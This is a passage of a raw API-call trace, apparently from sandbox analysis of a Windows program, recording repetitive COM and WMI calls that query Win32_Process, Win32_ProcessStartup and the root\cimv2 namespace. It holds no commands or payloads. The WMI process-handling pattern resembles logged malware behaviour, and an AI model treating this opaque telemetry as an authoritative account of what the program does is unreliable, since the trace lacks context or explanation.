pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8bc, varVal2=0x0), pType=0x2727ab0*=19, plFlavor=0x2727ab4*=0) returned 0x0 [0159.739] IWbemClassObject:Get (in: This=0x1bc75960, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727ab0*=19, plFlavor=0x2727ab4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8bc, varVal2=0x0), pType=0x2727ab0*=19, plFlavor=0x2727ab4*=0) returned 0x0 [0159.740] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0159.740] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0159.740] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0159.741] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.742] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc16390) returned 0x0 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc16390, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0159.743] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc16390, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40280) returned 0x0 [0159.743] WbemDefPath:IUnknown:Release (This=0x1bc16390) returned 0x0 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40280) returned 0x0 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0159.743] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc163d0) returned 0x0 [0159.743] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc163d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.743] WbemDefPath:IUnknown:Release (This=0x1bc163d0) returned 0x3 [0159.743] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0159.743] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0159.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0159.743] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0159.744] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x1 [0159.744] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0159.744] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40280) returned 0x0 [0159.744] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0159.744] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0159.744] WbemDefPath:IWbemPath:SetText (This=0x1bc40280, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40280, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40280, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40280, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.744] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40280, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.744] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0159.744] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0159.744] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0159.744] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.746] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc16410) returned 0x0 [0159.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc16410, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0159.746] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc16410, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40100) returned 0x0 [0159.747] WbemDefPath:IUnknown:Release (This=0x1bc16410) returned 0x0 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40100) returned 0x0 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0159.747] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc16450) returned 0x0 [0159.747] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc16450, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.747] WbemDefPath:IUnknown:Release (This=0x1bc16450) returned 0x3 [0159.747] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0159.747] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0159.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0159.747] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0159.747] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x1 [0159.747] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0159.747] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40100) returned 0x0 [0159.748] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0159.748] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0159.748] WbemDefPath:IWbemPath:SetText (This=0x1bc40100, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40100, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40100, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0159.748] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.748] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0159.748] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0159.748] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0159.748] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.750] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc16490) returned 0x0 [0159.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc16490, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0159.751] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc16490, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc40040) returned 0x0 [0159.751] WbemDefPath:IUnknown:Release (This=0x1bc16490) returned 0x0 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc40040) returned 0x0 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0159.751] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc164d0) returned 0x0 [0159.751] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc164d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.751] WbemDefPath:IUnknown:Release (This=0x1bc164d0) returned 0x3 [0159.751] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0159.751] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0159.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0159.751] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0159.752] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x1 [0159.752] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0159.752] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0159.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc40040) returned 0x0 [0159.752] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0159.752] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0159.752] WbemDefPath:IWbemPath:SetText (This=0x1bc40040, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0159.752] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.752] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.752] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.752] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0159.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0159.752] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0159.752] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.753] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc165d0) returned 0x0 [0159.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0159.753] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc165d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc165f0) returned 0x0 [0159.753] WbemLocator:IUnknown:Release (This=0x1bc165d0) returned 0x0 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc165f0) returned 0x0 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0159.754] WbemLocator:IUnknown:AddRef (This=0x1bc165f0) returned 0x3 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 